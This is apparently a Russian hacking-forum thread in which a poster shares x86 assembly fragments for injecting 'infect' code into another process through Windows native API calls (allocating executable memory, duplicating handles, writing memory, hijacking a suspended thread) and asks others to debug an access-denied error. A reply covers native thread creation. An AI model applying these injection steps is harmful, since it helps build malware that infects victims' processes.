пытаюсь повторить сабж описаный msrem'ом ... но чего то у меня не выходит ... значит по порядку, открываю процесс, выделяю в нем память, делаю копию свое хендла и копирую все это дело в чужой процесс ... Code (Text): push PAGE_EXECUTE_READWRITE ; dwProtection push MEM_TOP_DOWN+MEM_COMMIT ; dwAloocType lea eax,[ebp-4] mov dword[eax],dwAllSize + InfectSize push eax ; lpdwSize push 0 ; dwZeroBit lea eax,[ebp-8] and dword[eax],0 push eax ; lpAddr push ebx ; hProc call [ZwAllocateVirtualMemory] test eax,eax jnz .ret push eax push eax push PROCESS_QUERY_INFORMATION push hOurHandle ; lpHandle push ebx ; hProc dec eax ; eax = -1 push eax push eax call [ZwDuplicateObject] test eax,eax jnz .ret ; eax = NULL push eax push InfectSize ; dwNumBytes push InfectCode ; lpFromAddr push dword[ebp-8] ; lpToAddr push ebx ; hProc call [ZwWriteVirtualMemory] все проходит на ура, все функции возвращаю 0 ... потом вобщем создаю приостановленный тред, меняю тред контекст ... и жму resumethread ... запускаю все это в дувух ольках и смотрю оба процесса сразу ... все прикрасно в захваченно процессе вылетает на бряк ... Code (Text): push 0 ; lpRetLenght push 50h ; dwNumBytes push edi ; lpToAddr push Readed ; lpFromAddr push esi ; hProc call ebx ; ZwReadVirtualMemory все значение регистров правильные, единственный косяк, что ZwReadVirtualMemory возвращает C0000022, если мне не изменяет память, это ACCESS DENIED ... собственно вопрос почему ? грешу на ZwDuplicateObject или на то что пускаю под двумя отладчиками ... чесно говоря больше всетаки на ZwDuplicateObject, т.к. перед еще выше я читаю из процесса в который собираюсь инжектится, что не напоротяс на уже зараженный процесс... Code (Text): push 0 ; lpRetLenght push 4 ; dwNumBytes lea eax,[ebp-4] push eax ; lpToAddr push [ZwQueryDirectoryFile] ; lpFromAddr push ebx ; hProc call [ZwReadVirtualMemory] вобщем люди на вас вся надежда ... у меня мыслей нет ):
ах да еще вопрос ... вот что бы создать новый тред используя натив апи, придется создавать тред, информировать csrss, а потом ресьюмить тред ... или есть способ проще ?
csrss можно не информировать, если поток не будет использовать никаких функций, кроме native. В противном случае информировать его обязательно. Проще никак не получится